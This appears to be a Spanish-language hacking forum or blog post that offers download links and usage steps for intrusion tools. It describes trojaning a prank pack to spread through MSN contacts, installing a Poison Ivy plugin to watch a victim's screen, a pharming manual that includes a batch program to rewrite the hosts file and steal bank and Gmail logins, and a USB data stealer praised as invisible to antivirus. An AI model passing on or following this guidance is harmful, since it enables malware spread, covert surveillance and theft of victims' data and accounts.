PACK DE BROMAS
Para los que le aburrieron las revistas de HXC les traigo este pack de bromas realizado por emodrigo, que puede usarse para ejecutar remotamente con nuestros RAT o simplemente para enviarla a quien sea.
Ninguna broma causa daños en la pc, y se pueden finalizar facilmente desde el administrador de tareas, pero algunas son realmente molestas y sera nesesario reiniciar la pc.
Estas bromas tambien pueden usarse para infectar, se las infecta con algun server y luego se las pasa a los contactos de msn, se rien un rato y estos contactos se la pasan a sus otros contactos (Como un "spread msn" manual, si que funciona).
http://rapidshare.com/files/203668987/BROMAS_PARA_EJECUTAR_REMOTAMENTE.rar
http://www.megaupload.com/?d=HGBO5KZR
PLUGIN PARA PI: OPTIX SCREEN CAPTURE 2.0
El poison ivy es uno de los mejores troyanos que existen, pero hay que admitir que su captura de pantalla es pesima.
Por suerte th3 s13az3 creo un plugin en delphi que mejora notablemente la captura. Permite elegir la calidad de la imagen y ajustar el tamaño de la ventana a nuesrta preferencia.
Como usar los plugins en el poison ivy
Para usarlo simplemente tenemos que descargar el plugin y descomprimirlo en la carpeta "Plugins" de nuestro poison ivy.
Despues abrimos nuestro poison y en menu file seleccionamos manage file, ponemos load si no aparece nada y seleccionamos Optix_ScreenCapC.dll que esta justamente en la carpeta plugins.
Ya tenemos nuestro plugin instalado, ahora hacemos doble clic sobre una victima, nos vamos al menu plugins y hacemos click en O.P screen capture parasubir el plugin (como se ve en la primera imagen de abajo), una vez subido el plugin en la pc victima nos aparecera Optix Screen Capture para poder ver su pantalla.
Recomiendo que vallan probando las distintas calidades de imagen y a distintos tamaños para mejorar la velocidad de transferencia, yo por ejemplo le puse en quality 30 y la pantalla completa y funciona bastante bien y se pueden ver todos los textos en la pc remota.
La descarga y el codigo fuente estan al final del post
Imagenes:
http://rapidshare.com/files/92901237/O.P_ScreenCapPluginBins.rar.html
EL PHARMING Y SUS CONSECUENCIAS
El Pharming es una nueva modalidad de fraude online, que consiste básicamente en
modificar la relación que existe entre el nombre de una web en internet y su respectivo servidor Web. Se trata de suplantar el sistema de resolución de nombres de dominio (DNS) para conducir al usuario a una página web falsa idéntica a la original.
Para que se entienda mejor: en situaciones normales, si tipeamos en nuestro Internet
Explorer la dirección www.bancorio.com.ar, estaremos ingresando al sitio web del
Banco Río de Buenos Aires. Pero si hemos sido víctimas de un ataque de Pharming, al
tipear www.bancorio.com.ar ingresaremos sin saberlo a un sitio web falso exactamente
igual al del banco, pero que ha sido creado por los atacantes con el fin de robar los datos de nuestra cuenta bancaria.
Imagen con un ejemplo del pharming y gmail, utilizado para robar cuentas de gmail.
En este manual se explica todo desde 0 como si no se supiera nada, todo con imagenes. Esta muy completo, hasta incluye algo de como programar en batch un ejecutable que cambie el archivo host. Tambien incluye como podemos protegernos de estas amenazas y varias cosas mas. Esta muy bueno, se los recomiendo.
http://rapidshare.com/files/90989525/El_pharming_y_sus_consecuencias.pdf.html
ROBAR DATOS DE LOS DISOS EXTRAIBLES
Esta aplicacion creada por Angel Sanchez, sirve para robar toda la informacion que se encuentre en un disco extraible, puede ser utilizado en ciberCafes universidades, etc.
Cuando se inserta un disco extraíble (pendrive, mp3, mp4, camaras, etc.) todos los datos serán copiados de forma silenciosa a una carpeta oculta.
Este programa puede ser muy util para algunas personas, ademas no es reconocido como una herramienta de hacking, asi que es totalmente indetectable por los antivirus.
Como se usa:
Primero se debe copiar o descoprimir toda esta carpeta en un lugar oculto donde ningún usuario la vea.
Después se ejecuta el programa instalar.
Una ves instalado no se debe cambiar el nombre a esta carpeta y mucho menos moverla a otro sitio.
La próxima ves que se inserte un disco extraíble todos los datos serán copiados de forma silenciosa en esta misma carpeta.
Solo funciona con el usuario actual de windows.
Para desinstalar el programa, ejecuten el desinstalador y listo (los archivos copiados deben ser borrados manualmente)
http://rapidshare.com/files/86670659/RobarDatosUSB.rar.html
